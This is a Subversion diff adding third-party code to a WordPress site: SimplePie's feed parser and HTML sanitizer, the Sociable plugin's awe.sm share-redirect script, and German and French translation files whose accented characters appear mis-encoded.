+		xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1);
+		xml_parser_set_option($xml, XML_OPTION_CASE_FOLDING, 0);
+		xml_set_object($xml, $this);
+		xml_set_character_data_handler($xml, 'cdata');
+		xml_set_element_handler($xml, 'tag_open', 'tag_close');
+
+		// Parse!
+		if (!xml_parse($xml, $data, true))
+		{
+			$this->error_code = xml_get_error_code($xml);
+			$this->error_string = xml_error_string($this->error_code);
+			$return = false;
+		}
+		$this->current_line = xml_get_current_line_number($xml);
+		$this->current_column = xml_get_current_column_number($xml);
+		$this->current_byte = xml_get_current_byte_index($xml);
+		xml_parser_free($xml);
+		return $return;
+	}
+
+	function get_error_code()
+	{
+		return $this->error_code;
+	}
+
+	function get_error_string()
+	{
+		return $this->error_string;
+	}
+
+	function get_current_line()
+	{
+		return $this->current_line;
+	}
+
+	function get_current_column()
+	{
+		return $this->current_column;
+	}
+
+	function get_current_byte()
+	{
+		return $this->current_byte;
+	}
+
+	function get_data()
+	{
+		return $this->data;
+	}
+
+	function tag_open($parser, $tag, $attributes)
+	{
+		if ($this->feed === 0)
+		{
+			return;
+		}
+		elseif ($this->feed == false)
+		{
+			if (in_array($tag, array(
+				SIMPLEPIE_NAMESPACE_ATOM_10 . $this->separator . 'feed',
+				SIMPLEPIE_NAMESPACE_ATOM_03 . $this->separator . 'feed',
+				'rss',
+				SIMPLEPIE_NAMESPACE_RDF . $this->separator . 'RDF'
+			)))
+			{
+					$this->feed = 1;
+			}
+		}
+		else
+		{
+			$this->feed++;
+		}
+
+		list($this->namespace[], $this->element[]) = $this->split_ns($tag);
+
+		$attribs = array();
+		foreach ($attributes as $name => $value)
+		{
+			list($attrib_namespace, $attribute) = $this->split_ns($name);
+			$attribs[$attrib_namespace][$attribute] = $value;
+		}
+
+		if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['base']))
+		{
+			$this->xml_base[] = SimplePie_Misc::absolutize_url($attribs[SIMPLEPIE_NAMESPACE_XML]['base'], end($this->xml_base));
+			$this->xml_base_explicit[] = true;
+		}
+		else
+		{
+			$this->xml_base[] = end($this->xml_base);
+			$this->xml_base_explicit[] = end($this->xml_base_explicit);
+		}
+
+		if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['lang']))
+		{
+			$this->xml_lang[] = $attribs[SIMPLEPIE_NAMESPACE_XML]['lang'];
+		}
+		else
+		{
+			$this->xml_lang[] = end($this->xml_lang);
+		}
+
+		if ($this->current_xhtml_construct >= 0)
+		{
+			$this->current_xhtml_construct++;
+			if (end($this->namespace) == SIMPLEPIE_NAMESPACE_XHTML)
+			{
+				$this->data['data'] .= '<' . end($this->element);
+				if (isset($attribs['']))
+				{
+					foreach ($attribs[''] as $name => $value)
+					{
+						$this->data['data'] .= ' ' . $name . '="' . htmlspecialchars($value, ENT_COMPAT, $this->encoding) . '"';
+					}
+				}
+				$this->data['data'] .= '>';
+			}
+		}
+		else
+		{
+			$this->datas[] =& $this->data;
+			$this->data =& $this->data['child'][end($this->namespace)][end($this->element)][];
+			$this->data = array('data' => '', 'attribs' => $attribs, 'xml_base' => end($this->xml_base), 'xml_base_explicit' => end($this->xml_base_explicit), 'xml_lang' => end($this->xml_lang));
+			if ((end($this->namespace) == SIMPLEPIE_NAMESPACE_ATOM_03 && in_array(end($this->element), array('title', 'tagline', 'copyright', 'info', 'summary', 'content')) && isset($attribs['']['mode']) && $attribs['']['mode'] == 'xml')
+			|| (end($this->namespace) == SIMPLEPIE_NAMESPACE_ATOM_10 && in_array(end($this->element), array('rights', 'subtitle', 'summary', 'info', 'title', 'content')) && isset($attribs['']['type']) && $attribs['']['type'] == 'xhtml'))
+			{
+				$this->current_xhtml_construct = 0;
+			}
+		}
+	}
+
+	function cdata($parser, $cdata)
+	{
+		if ($this->current_xhtml_construct >= 0)
+		{
+			$this->data['data'] .= htmlspecialchars($cdata, ENT_QUOTES, $this->encoding);
+		}
+		elseif ($this->feed > 1)
+		{
+			$this->data['data'] .= $cdata;
+		}
+	}
+
+	function tag_close($parser, $tag)
+	{
+		if (!$this->feed)
+		{
+			return;
+		}
+
+		if ($this->current_xhtml_construct >= 0)
+		{
+			$this->current_xhtml_construct--;
+			if (end($this->namespace) == SIMPLEPIE_NAMESPACE_XHTML && !in_array(end($this->element), array('area', 'base', 'basefont', 'br', 'col', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param')))
+			{
+				$this->data['data'] .= '</' . end($this->element) . '>';
+			}
+		}
+		if ($this->current_xhtml_construct == -1)
+		{
+			$this->data =& $this->datas[$this->feed];
+			array_pop($this->datas);
+		}
+
+		array_pop($this->element);
+		array_pop($this->namespace);
+		array_pop($this->xml_base);
+		array_pop($this->xml_base_explicit);
+		array_pop($this->xml_lang);
+		$this->feed--;
+	}
+
+	function split_ns($string)
+	{
+		static $cache = array();
+		if (!isset($cache[$string]))
+		{
+			if ($pos = strpos($string, $this->separator))
+			{
+				static $separator_length;
+				if (!$separator_length)
+				{
+					$separator_length = strlen($this->separator);
+				}
+				$namespace = substr($string, 0, $pos);
+				$local_name = substr($string, $pos + $separator_length);
+				if (strtolower($namespace) === SIMPLEPIE_NAMESPACE_ITUNES)
+				{
+					$namespace = SIMPLEPIE_NAMESPACE_ITUNES;
+				}
+
+				// Normalize the Media RSS namespaces
+				if ($namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG)
+				{
+					$namespace = SIMPLEPIE_NAMESPACE_MEDIARSS;
+				}
+				$cache[$string] = array($namespace, $local_name);
+			}
+			else
+			{
+				$cache[$string] = array('', $string);
+			}
+		}
+		return $cache[$string];
+	}
+}
+
+/**
+ * @todo Move to using an actual HTML parser (this will allow tags to be properly stripped, and to switch between HTML and XHTML), this will also make it easier to shorten a string while preserving HTML tags
+ */
+class SimplePie_Sanitize
+{
+	// Private vars
+	var $base;
+
+	// Options
+	var $remove_div = true;
+	var $image_handler = '';
+	var $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style');
+	var $encode_instead_of_strip = false;
+	var $strip_attributes = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc');
+	var $strip_comments = false;
+	var $output_encoding = 'UTF-8';
+	var $enable_cache = true;
+	var $cache_location = './cache';
+	var $cache_name_function = 'md5';
+	var $cache_class = 'SimplePie_Cache';
+	var $file_class = 'SimplePie_File';
+	var $timeout = 10;
+	var $useragent = '';
+	var $force_fsockopen = false;
+
+	var $replace_url_attributes = array(
+		'a' => 'href',
+		'area' => 'href',
+		'blockquote' => 'cite',
+		'del' => 'cite',
+		'form' => 'action',
+		'img' => array('longdesc', 'src'),
+		'input' => 'src',
+		'ins' => 'cite',
+		'q' => 'cite'
+	);
+
+	function remove_div($enable = true)
+	{
+		$this->remove_div = (bool) $enable;
+	}
+
+	function set_image_handler($page = false)
+	{
+		if ($page)
+		{
+			$this->image_handler = (string) $page;
+		}
+		else
+		{
+			$this->image_handler = false;
+		}
+	}
+
+	function pass_cache_data($enable_cache = true, $cache_location = './cache', $cache_name_function = 'md5', $cache_class = 'SimplePie_Cache')
+	{
+		if (isset($enable_cache))
+		{
+			$this->enable_cache = (bool) $enable_cache;
+		}
+
+		if ($cache_location)
+		{
+			$this->cache_location = (string) $cache_location;
+		}
+
+		if ($cache_name_function)
+		{
+			$this->cache_name_function = (string) $cache_name_function;
+		}
+
+		if ($cache_class)
+		{
+			$this->cache_class = (string) $cache_class;
+		}
+	}
+
+	function pass_file_data($file_class = 'SimplePie_File', $timeout = 10, $useragent = '', $force_fsockopen = false)
+	{
+		if ($file_class)
+		{
+			$this->file_class = (string) $file_class;
+		}
+
+		if ($timeout)
+		{
+			$this->timeout = (string) $timeout;
+		}
+
+		if ($useragent)
+		{
+			$this->useragent = (string) $useragent;
+		}
+
+		if ($force_fsockopen)
+		{
+			$this->force_fsockopen = (string) $force_fsockopen;
+		}
+	}
+
+	function strip_htmltags($tags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'))
+	{
+		if ($tags)
+		{
+			if (is_array($tags))
+			{
+				$this->strip_htmltags = $tags;
+			}
+			else
+			{
+				$this->strip_htmltags = explode(',', $tags);
+			}
+		}
+		else
+		{
+			$this->strip_htmltags = false;
+		}
+	}
+
+	function encode_instead_of_strip($encode = false)
+	{
+		$this->encode_instead_of_strip = (bool) $encode;
+	}
+
+	function strip_attributes($attribs = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'))
+	{
+		if ($attribs)
+		{
+			if (is_array($attribs))
+			{
+				$this->strip_attributes = $attribs;
+			}
+			else
+			{
+				$this->strip_attributes = explode(',', $attribs);
+			}
+		}
+		else
+		{
+			$this->strip_attributes = false;
+		}
+	}
+
+	function strip_comments($strip = false)
+	{
+		$this->strip_comments = (bool) $strip;
+	}
+
+	function set_output_encoding($encoding = 'UTF-8')
+	{
+		$this->output_encoding = (string) $encoding;
+	}
+
+	/**
+	 * Set element/attribute key/value pairs of HTML attributes
+	 * containing URLs that need to be resolved relative to the feed
+	 *
+	 * @access public
+	 * @since 1.0
+	 * @param array $element_attribute Element/attribute key/value pairs
+	 */
+	function set_url_replacements($element_attribute = array('a' => 'href', 'area' => 'href', 'blockquote' => 'cite', 'del' => 'cite', 'form' => 'action', 'img' => array('longdesc', 'src'), 'input' => 'src', 'ins' => 'cite', 'q' => 'cite'))
+	{
+		$this->replace_url_attributes = (array) $element_attribute;
+	}
+
+	function sanitize($data, $type, $base = '')
+	{
+		$data = trim($data);
+		if ($data !== '' || $type & SIMPLEPIE_CONSTRUCT_IRI)
+		{
+			if ($type & SIMPLEPIE_CONSTRUCT_MAYBE_HTML)
+			{
+				if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>)/', $data))
+				{
+					$type |= SIMPLEPIE_CONSTRUCT_HTML;
+				}
+				else
+				{
+					$type |= SIMPLEPIE_CONSTRUCT_TEXT;
+				}
+			}
+
+			if ($type & SIMPLEPIE_CONSTRUCT_BASE64)
+			{
+				$data = base64_decode($data);
+			}
+
+			if ($type & SIMPLEPIE_CONSTRUCT_XHTML)
+			{
+				if ($this->remove_div)
+				{
+					$data = preg_replace('/^<div' . SIMPLEPIE_PCRE_XML_ATTRIBUTE . '>/', '', $data);
+					$data = preg_replace('/<\/div>$/', '', $data);
+				}
+				else
+				{
+					$data = preg_replace('/^<div' . SIMPLEPIE_PCRE_XML_ATTRIBUTE . '>/', '<div>', $data);
+				}
+			}
+
+			if ($type & (SIMPLEPIE_CONSTRUCT_HTML | SIMPLEPIE_CONSTRUCT_XHTML))
+			{
+				// Strip comments
+				if ($this->strip_comments)
+				{
+					$data = SimplePie_Misc::strip_comments($data);
+				}
+
+				// Strip out HTML tags and attributes that might cause various security problems.
+				// Based on recommendations by Mark Pilgrim at:
+				// http://diveintomark.org/archives/2003/06/12/how_to_consume_rss_safely
+				if ($this->strip_htmltags)
+				{
+					foreach ($this->strip_htmltags as $tag)
+					{
+						$pcre = "/<($tag)" . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$tag" . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>|(\/)?>)/siU';
+						while (preg_match($pcre, $data))
+						{
+							$data = preg_replace_callback($pcre, array(&$this, 'do_strip_htmltags'), $data);
+						}
+					}
+				}
+
+				if ($this->strip_attributes)
+				{
+					foreach ($this->strip_attributes as $attrib)
+					{
+						$data = preg_replace('/(<[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*)' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . trim($attrib) . '(?:\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>/', '\1\2\3>', $data);
+					}
+				}
+
+				// Replace relative URLs
+				$this->base = $base;
+				foreach ($this->replace_url_attributes as $element => $attributes)
+				{
+					$data = $this->replace_urls($data, $element, $attributes);
+				}
+
+				// If image handling (caching, etc.) is enabled, cache and rewrite all the image tags.
+				if (isset($this->image_handler) && ((string) $this->image_handler) !== '' && $this->enable_cache)
+				{
+					$images = SimplePie_Misc::get_element('img', $data);
+					foreach ($images as $img)
+					{
+						if (isset($img['attribs']['src']['data']))
+						{
+							$image_url = call_user_func($this->cache_name_function, $img['attribs']['src']['data']);
+							$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, $image_url, 'spi');
+
+							if ($cache->load())
+							{
+								$img['attribs']['src']['data'] = $this->image_handler . $image_url;
+								$data = str_replace($img['full'], SimplePie_Misc::element_implode($img), $data);
+							}
+							else
+							{
+								$file =& new $this->file_class($img['attribs']['src']['data'], $this->timeout, 5, array('X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']), $this->useragent, $this->force_fsockopen);
+								$headers = $file->headers;
+
+								if ($file->success && ($file->status_code == 200 || ($file->status_code > 206 && $file->status_code < 300)))
+								{
+									if ($cache->save(array('headers' => $file->headers, 'body' => $file->body)))
+									{
+										$img['attribs']['src']['data'] = $this->image_handler . $image_url;
+										$data = str_replace($img['full'], SimplePie_Misc::element_implode($img), $data);
+									}
+									else
+									{
+										trigger_error("$cache->name is not writeable", E_USER_WARNING);
+									}
+								}
+							}
+						}
+					}
+				}
+
+				// Having (possibly) taken stuff out, there may now be whitespace at the beginning/end of the data
+				$data = trim($data);
+			}
+
+			if ($type & SIMPLEPIE_CONSTRUCT_IRI)
+			{
+				$data = SimplePie_Misc::absolutize_url($data, $base);
+			}
+
+			if ($type & (SIMPLEPIE_CONSTRUCT_TEXT | SIMPLEPIE_CONSTRUCT_IRI))
+			{
+				$data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8');
+			}
+
+			if ($this->output_encoding != 'UTF-8')
+			{
+				$data = SimplePie_Misc::change_encoding($data, 'UTF-8', $this->output_encoding);
+			}
+		}
+		return $data;
+	}
+
+	function replace_urls($data, $tag, $attributes)
+	{
+		if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags))
+		{
+			$elements = SimplePie_Misc::get_element($tag, $data);
+			foreach ($elements as $element)
+			{
+				if (is_array($attributes))
+				{
+					foreach ($attributes as $attribute)
+					{
+						if (isset($element['attribs'][$attribute]['data']))
+						{
+							$element['attribs'][$attribute]['data'] = SimplePie_Misc::absolutize_url($element['attribs'][$attribute]['data'], $this->base);
+							$new_element = SimplePie_Misc::element_implode($element);
+							$data = str_replace($element['full'], $new_element, $data);
+							$element['full'] = $new_element;
+						}
+					}
+				}
+				elseif (isset($element['attribs'][$attributes]['data']))
+				{
+					$element['attribs'][$attributes]['data'] = SimplePie_Misc::absolutize_url($element['attribs'][$attributes]['data'], $this->base);
+					$data = str_replace($element['full'], SimplePie_Misc::element_implode($element), $data);
+				}
+			}
+		}
+		return $data;
+	}
+
+	function do_strip_htmltags($match)
+	{
+		if ($this->encode_instead_of_strip)
+		{
+			if (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style')))
+			{
+				$match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8');
+				$match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8');
+				return "&lt;$match[1]$match[2]&gt;$match[3]&lt;/$match[1]&gt;";
+			}
+			else
+			{
+				return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8');
+			}
+		}
+		elseif (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style')))
+		{
+			return $match[4];
+		}
+		else
+		{
+			return '';
+		}
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/awesmate.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/awesmate.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/awesmate.php	(revision 44)
@@ -0,0 +1,38 @@
+<?php
+	define('DOING_AJAX',true);
+
+	require('../../../wp-load.php');
+	
+	header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
+	header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Date in the past
+
+	$awesmapikey  	= get_option('sociable_awesmapikey'); 
+	if (!empty($awesmapikey)) { 
+		$key = '&api_key=' . $awesmapikey; 
+	} else { 
+		$key = ''; 
+	}
+	$destination 	= str_replace('TARGET', 'AWESM_TARGET', urldecode( $_GET['d'] ) );	
+	$channel		= urldecode( $_GET['c'] );
+	$permalink		= urldecode( $_GET['t'] );
+
+	if ($_GET['dir']) {
+		$direct		= '&direct=true';
+	} else {
+		$direct		= '';
+	}
+	
+	if ($_GET['p']) {
+		// if the page was arrived at through an awe.sm URL, make that the parent
+		$parent = $_GET['p'];
+		$parentargument = '&parent_awesm=' . $parent;
+	} else {
+		// otherwise, there is no parent
+		$parentargument = '';
+	}
+	
+	$url = 'http://create.awe.sm/url/share?&version=1'.$key.'&share_type='.urlencode($channel).'&create_type=sociable-wordpress&target='.urlencode($permalink).'&destination='.urlencode($destination).$direct.$parentargument;
+	
+	$url = str_replace("+","%20",$url);
+	header("Location: ".$url);
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-de_DE.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-de_DE.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-de_DE.po	(revision 44)
@@ -0,0 +1,133 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: sociable\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2007-01-31 22:10-0600\n"
+"Last-Translator: Peter Harkins <ph@push.cx>\n"
+"Language-Team: Thomas Schoessow <posteingang@tschoessow.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: German\n"
+"X-Poedit-Country: GERMANY\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: /home/malaprop/proj/sociable\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: sociable.php:387
+msgid "These icons link to social bookmarking sites where readers can share and discover new web pages."
+msgstr "Diese Icons verzweigen auf soziale Netzwerke bei denen Nutzer neue Inhalte finden und mit anderen teilen kÃ¶nnen."
+
+#: sociable.php:482
+msgid "Share and Enjoy:"
+msgstr "Teile und genieÃe"
+
+#: sociable.php:565
+msgid "Sociable tried to check for updates but failed. This might be the way PHP is set up, or just random network issues. Please <a href=\"http://push.cx/sociable\">visit the Sociable website</a> to update manually if needed."
+msgstr "Sociable versuchte auf ein Update zu prÃŒfen, dabei trat ein Fehler auf. Das kann durch Netzwerkprobleme verursacht sein, kann aber auch an Einstellungen von PHP liegen. Bitte besuchen Sie die <a href=\"http://push.cx/sociable\">Webseite von Sociable</a> um auf ein mÃ¶gliches Update zu prÃŒfen."
+
+#: sociable.php:586
+msgid "A <a href=\"http://push.cx/sociable\">new version of Sociable is available</a>"
+msgstr "Eine <a href=\"http://push.cx/sociable\">neue Version</a> von Sociable ist verfÃŒgbar."
+
+#: sociable.php:586
+msgid "as of "
+msgstr "vom"
+
+#: sociable.php:595
+msgid "Couldn't find wp-content/plugins folder. Please make sure WordPress is installed correctly."
+msgstr "Konnte den wp-content/plugins Ordner nicht finden. Bitte stellen Sie sicher das Wordpress korrekt installiert ist. "
+
+#: sociable.php:597
+msgid "Can't find sociable folder."
+msgstr "Konnte den Sociable Ordner nicht finden."
+
+#: sociable.php:603
+msgid "Can't find folder:"
+msgstr "Ordner fehlt:"
+
+#: sociable.php:605
+msgid "Can't find file:"
+msgstr "Datei fehlt: "
+
+#: sociable.php:619
+msgid "Restored all settings to defaults."
+msgstr "Alle Voreinstellungen wurden auf den Standard zurÃŒckgesetzt."
+
+#: sociable.php:646
+msgid "Saved changes."
+msgstr "Ãnderungen wurden gespeichert."
+
+#: sociable.php:650
+msgid "In your plugins/sociable folder, you must have these files:"
+msgstr "In ihrem plugins/sociable Ordner mÃŒssen sich folgende Dateien befinden:"
+
+#: sociable.php:674
+msgid "Sociable Options"
+msgstr "Optionen von Sociable"
+
+#: sociable.php:676
+msgid "Drag and drop sites to reorder them. Only the sites you check will appear publicly."
+msgstr "Nur die ausgewÃ€hlten Seiten werden angezeigt. Mit Drag und Drop kÃ¶nnen Sie diese sortieren."
+
+#: sociable.php:708
+msgid "Change the text displayed in front of the icons below. For complete customization, edit <kbd>sociable.css</kbd> in the Sociable plugin directory."
+msgstr "Change the text displayed in front of the icons below. For complete customization, edit <kbd>sociable.css</kbd> in the Sociable plugin directory."
+
+#: sociable.php:715
+msgid "The icons appear at the end of each blog post, and posts may show on many different types of pages. Depending on your theme and audience, it may be tacky to display icons on all types of pages."
+msgstr "Diese Icons erscheinen am Ende eines jeden Artikels und Artikel kÃ¶nnen auf verschiedenen Seitentypen erscheinen. AbhÃ€ngig vom Design kann es schweirig sein diese Icons auf allen Seitentypen darzustellen."
+
+#: sociable.php:718
+msgid "Front page of the blog"
+msgstr "Startseite des Blogs"
+
+#: sociable.php:719
+msgid "Individual blog posts"
+msgstr "Einzelner Blogeintrag"
+
+#: sociable.php:720
+msgid "Individual WordPress \"Pages\""
+msgstr "Individuelle Wordpress-\"Seite\" "
+
+#: sociable.php:721
+msgid "Category archives"
+msgstr "Archivkategorien"
+
+#: sociable.php:722
+msgid "Date-based archives"
+msgstr "Datum-basiertes Archiv"
+
+#: sociable.php:723
+msgid "Search results"
+msgstr "Suchergebnis(se)"
+
+#: sociable.php:727
+msgid "Save Changes"
+msgstr "Ãnderungen speichern"
+
+#: sociable.php:728
+msgid "Restore Built-in Defaults"
+msgstr "Stelle auf die eingebauten Einstellungen zurÃŒck."
+
+#: sociable.php:733
+msgid "Automatic Updates"
+msgstr "Automatische Updates"
+
+#: sociable.php:735
+msgid "Sociable checks for new versions when you bring up this page. (At most once per week.)"
+msgstr "Sociable prÃŒft auf eine neue Version wenn Sie diese Seite aufrufen. (Normalerweise wÃ¶chentlich)"
+
+#: sociable.php:738
+msgid "This copy of Sociable is from"
+msgstr "Diese Kopie von Sociable ist von "
+
+#: sociable.php:739
+msgid "Last checked on"
+msgstr "Zuletzt ÃŒberprÃŒft am"
+
+#: sociable.php:744
+msgid "<a href=\"http://push.cx/sociable\">Sociable</a> is copyright 2006 by <a href=\"http://push.cx/\">Peter Harkins</a>, released under the GNU GPL version 2 or later. If you like Sociable, please send a link my way so other folks can find out about it. If you have any problems or good ideas, <a href=\"mailto:ph@malaprop.org\">mail me</a>."
+msgstr "<a href=\"http://push.cx/sociable\">Sociable</a> Copyright 2006 by <a href=\"http://push.cx/\">Peter Harkins</a>, verÃ¶ffentlicht unter der GNU GPL Version 2. Wenn Sie Sociable mÃ¶gen, dann informieren Sie andere ÃŒber Sociable. Bei Problemen oder auch bei guten Ideen wÃŒrde ich mich ÃŒber eine <a href=\"mailto:ph@malaprop.org\">Nachricht </a>freuen."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-fr_FR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-fr_FR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-fr_FR.po	(revision 44)
@@ -0,0 +1,141 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: sociable\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2007-02-02 21:38-0600\n"
+"Last-Translator: Peter Harkins <ph@push.cx>\n"
+"Language-Team:  <soc-dev@lists.sourceforge.net>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: French\n"
+"X-Poedit-Country: FRANCE\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: /home/malaprop/proj/sociable\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: sociable.php:172
+msgid "E-mail this story to a friend!"
+msgstr "Envoyez cette page Ã  un ami par courriel!"
+
+#: sociable.php:368
+msgid "Print this article!"
+msgstr "Imprimez cet article!"
+
+#: sociable.php:302
+msgid "These icons link to social bookmarking sites where readers can share and discover new web pages."
+msgstr "Ces icÃŽnes sont des liens vers des sites de partage de signet sociaux oÃ¹ les lecteurs peuvent partager et dÃ©couvrir de nouveaux liens."
+
+#: sociable.php:385
+msgid "Share and Enjoy:"
+msgstr "Partager et dÃ©couvrir :"
+
+#: sociable.php:460
+msgid "Sociable tried to check for updates but failed. This might be the way PHP is set up, or just random network issues. Please <a href=\"http://push.cx/sociable\">visit the Sociable website</a> to update manually if needed."
+msgstr "Sociable a essayÃ© de vÃ©rifier les mises Ã  jour mais a Ã©chouÃ©. Cela est sans doute dÃ» Ã  la configuration PHP. Allez sur le site de <a href=\"http://push.cx/sociable\">Sociable</a> pour faire une mise Ã  jour manuelle."
+
+#: sociable.php:481
+msgid "A <a href=\"http://push.cx/sociable\">new version of Sociable is available</a>"
+msgstr "Un nouvelle version de <a href=\"http://push.cx/sociable\"> sociable est disponible</a>"
+
+#: sociable.php:481
+msgid "as of "
+msgstr "en date de"
+
+#: sociable.php:490
+msgid "Couldn't find wp-admin/plugins folder. Please make sure WordPress is installed correctly."
+msgstr "Impossible de trouver le rÃ©pertoire wp-admin/plugins. VÃ©rifiez si Wordpress est installÃ© correctement."
+
+#: sociable.php:492
+msgid "Can't find sociable folder."
+msgstr "Impossible de trouver le rÃ©pertoire SOCIABLE."
+
+#: sociable.php:498
+msgid "Can't find folder:"
+msgstr "Impossible de trouver le rÃ©pertoire:"
+
+#: sociable.php:500
+msgid "Can't find file:"
+msgstr "Impossible de trouver le fichier:"
+
+#: sociable.php:514
+msgid "Restored all settings to defaults."
+msgstr "Restaurer la configuration par defaut"
+
+#: sociable.php:550
+msgid "Saved changes."
+msgstr "Sauvez les modifications."
+
+#: sociable.php:554
+msgid "In your plugins/sociable folder, you must have these files:"
+msgstr "Dans le rÃ©pertoire plugins/sociable, vous devez avoir ces fichiers :"
+
+#: sociable.php:571
+msgid "Sociable Options"
+msgstr "Options de Sociable"
+
+#: sociable.php:573
+msgid "Drag and drop sites to reorder them. Only the sites you check will appear publicly."
+msgstr "Clissez dÃ©posez les sites pour les remettre en ordre. Seuls les sites sÃ©lectionnÃ©s apparaitront publiquement."
+
+#: sociable.php:591
+msgid "Change the text displayed in front of the icons below. For complete customization, edit <i>sociable.css</i> in the Sociable plugin directory."
+msgstr "Changer le texte affichÃ© devant les icones. Pour une customization complÃšte, Ã©ditez le fichier <i>sociable.css</i>  dans le rÃ©pertoire plugins/sociable."
+
+#: sociable.php:598
+msgid "The icons appear at the end of each blog post, and posts may show on many different types of pages. Depending on your theme and audience, it may be tacky to display icons on all types of pages."
+msgstr "Les icÃŽnes apparaissent Ã  la fin de chaque article, et sur plusieurs types de pages. Selon votre thÃšme et son audience, il peut Ãªtre interessant d'afficher les icones sur toutes les pages."
+
+#: sociable.php:601
+msgid "Front page of the blog"
+msgstr "Page principale du blog"
+
+#: sociable.php:602
+msgid "Individual blog posts"
+msgstr "Articles individuels"
+
+#: sociable.php:603
+msgid "Individual WordPress \"Pages\""
+msgstr "\"Pages\" individuelle de WordPress"
+
+#: sociable.php:604
+msgid "Category archives"
+msgstr "CatÃ©gories d'archives"
+
+#: sociable.php:605
+msgid "Date-based archives"
+msgstr "Archives par date"
+
+#: sociable.php:606
+msgid "Search results"
+msgstr "RÃ©sultats de recherche"
+
+#: sociable.php:610
+msgid "Save Changes"
+msgstr "Sauvegarder les modifications"
+
+#: sociable.php:611
+msgid "Restore Built-in Defaults"
+msgstr "Restaurer la configuration par defaut"
+
+#: sociable.php:616
+msgid "Automatic Updates"
+msgstr "Mise Ã  jour automatique"
+
+#: sociable.php:618
+msgid "Sociable checks for new versions when you bring up this page. (At most once per week.)"
+msgstr "Sociable vÃ©rifie la disponibilitÃ© d'une nouvelle version lorsque vous appelez cette page. (Au moins 1 fois par semaine)"
+
+#: sociable.php:621
+msgid "This copy of Sociable is from"
+msgstr "Cette copie de Sociable provient de"
+
+#: sociable.php:622
+msgid "Last checked on"
+msgstr "DerniÃšre mise Ã  jour, le"
+
+#: sociable.php:627
+msgid "<a href=\"http://push.cx/sociable\">Sociable</a> is copyright 2006 by <a href=\"http://push.cx/\">Peter Harkins</a>, released under the GNU GPL version 2 or later. If you like Sociable, please send a link my way so other folks can find out about it. If you have any problems or good ideas, <a href=\"mailto:ph@malaprop.org\">mail me</a>."
+msgstr "<a href=\"http://push.cx/sociable\">Sociable</a> est copyright 2006 par <a href=\"http://push.cx/\">Peter Harkins</a>, libÃ©rÃ© sous licence GNU GPL version 2 ou supÃ©rieure. Si vous aimez Sociable, renvoyez un lien vers mon site pour que d'autre personnes puisse le dÃ©couvrir. Pour signaler un bug, une remarques, une idÃ©e, <a href=\"mailto:ph@malaprop.org\">Ã©crivez moi</a>."
+
